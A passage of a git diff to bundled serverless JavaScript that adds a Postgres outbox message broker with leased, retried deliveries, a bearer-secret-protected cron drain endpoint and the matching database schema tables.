MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -80037,6 +80605,43 @@ function metricsRoute(app2, metrics2) { }); } +// services/analytics/src/http/routes/drain.ts +var DEFAULT_BUDGET_MS = 2e4; +var MAX_BUDGET_MS = 25e3; +var DRAIN_PATHS = ["/internal/drain", "/internal/analytics/drain"]; +var drainQuerySchema = external_exports.object({ + limit: external_exports.coerce.number().int().min(1).max(1e3).optional(), + budget_ms: external_exports.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional() +}); +function drainRoute(app2, deps) { + const handle = async (request, reply) => { + const secret = deps.env.CRON_SECRET; + if (secret === void 0) { + throw new AppError("UPSTREAM_UNAVAILABLE", "Event draining is not configured"); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header("www-authenticate", "Bearer"); + throw new AppError("UNAUTHENTICATED", "Missing or invalid drain credentials"); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError("CONFLICT", "The configured messaging driver has nothing to drain"); + } + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit + }); + const durationMs = Date.now() - startedAt; + request.log.info({ ...result, duration_ms: durationMs }, "drained queued events"); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + for (const path of DRAIN_PATHS) { + app2.get(path, handle); + app2.post(path, handle); + } +} + // services/analytics/src/repo/summary.ts async function summarizeForOrganization(db2, organizationId, since) { const rows = await db2.select({ eventType: schema_exports.analyticsEvents.eventType, count: sql`count(*)::int` }).from(schema_exports.analyticsEvents).where(and(eq(schema_exports.analyticsEvents.organizationId, organizationId), gte(schema_exports.analyticsEvents.timestamp, since))).groupBy(schema_exports.analyticsEvents.eventType); @@ -80145,6 +80750,7 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); + drainRoute(app2, deps); getSummaryRoute(app2, deps); return app2; } @@ -80155,7 +80761,13 @@ var analyticsServiceEnvSchema = external_exports.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...messagingEnvSchema.shape, - ...supabaseAuthEnvSchema.shape + ...supabaseAuthEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional() }); function loadAnalyticsServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.ANALYTICS_SERVICE_PORT }; @@ -80202,6 +80814,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var tokenVerifier = createTokenVerifierConfig(env); diff --git a/api/applications/index.js b/api/applications/index.js index edf4b05..3e0c28f 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -53984,9 +53984,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -67514,8 +67519,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -75082,6 +75087,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -79178,6 +79210,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -79632,6 +79667,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -79784,20 +79873,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79947,6 +80487,16 @@ function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79978,7 +80528,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -80448,6 +80998,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var tokenVerifier = createTokenVerifierConfig(env); diff --git a/api/auth/index.js b/api/auth/index.js index 5c8cfb9..756f8ea 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -9267,13 +9267,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -9286,11 +9286,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -46033,9 +46033,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -59563,8 +59568,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -67121,6 +67126,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // 